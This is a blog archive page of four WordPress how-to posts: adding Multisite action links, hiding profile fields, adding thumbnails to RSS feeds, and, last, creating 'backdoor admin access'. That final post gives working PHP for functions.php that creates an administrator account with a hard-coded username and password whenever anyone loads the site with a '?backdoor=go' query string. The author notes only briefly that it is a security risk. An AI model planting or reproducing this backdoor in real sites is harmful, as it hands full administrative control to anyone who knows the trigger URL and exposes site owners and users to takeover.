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How To: Add A Link to the WordPress Multisite Network Admin Sites List

May 31, 2011 By 4 Comments

The other day I was working on a plugin for a client when I needed to add a link to the WordPress Multisite Network Admin Sites list. This is the list of sites in your WordPress Multisite network. The links I am referring to are the action links that appear when you hover over a site in the list as shown below.

WordPress Multisite Network Sites ListTo add a link, or modify any of the existing action links, we’re going to use the manage_sites_action_links action filter in WordPress. This filter will allow us to modify the action links before they are displayed on the screen. This means you can add, or remove, any links you want.

Let’s look at the code:

add_filter( 'manage_sites_action_links', 'my_plugin_network_list_action', null, 2 );

function my_plugin_network_list_action( $actions, $blog_id ) {

    $actions = array_merge( $actions, array(
	'custom_link' => '<a href="'. network_admin_url( 'sites.php' ).'">My Custom Link</a>'
    ));

    return $actions;

}

First we call the manage_sites_action_links filter hook which executes our custom function my_plugin_network_list_action(). Our function accepts two parameters: The $actions array which contains all action links and the $blog_id which stores the site ID of the site we are hovering in the list.

To add a link we are going to use the PHP function array_merge() to merge our link into the array of existing links. In this example I added a link named “My Custom Link” which links to the Network Admin sites list. The final step is to return the $actions variable. Simple as that!

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Filed Under: How To, WordPress Tagged With: , , , ,

How To: Remove Default Profile Fields in WordPress

March 30, 2010 By 17 Comments

A few days ago I came across an interesting challenge in WordPress. I wanted to hide some of the default profile fields from being displayed to the users in WordPress. Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields. It took a bit of digging but I found the below function buried in the WordPress.org support forums. Just place the below code in your themes functions.php file to remove these fields:

<?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?>

That’s it! As you can see below the three fields are removed from the Profile page on the WordPress admin side. This makes it much less confusing for users since they don’t see fields that we aren’t using on the website.

Filed Under: How To, PHP, WordPress Tagged With: , , ,

How To: Add a Post Thumbnail to an RSS Feed in WordPress

February 25, 2010 By 19 Comments

Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:

function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) {
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
	}

	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method: 

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

Filed Under: How To, PHP, WordPress Tagged With: ,

How To: Create Backdoor Admin Access in WordPress

December 29, 2009 By 26 Comments

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!

Filed Under: How To, PHP, WordPress Tagged With: , , ,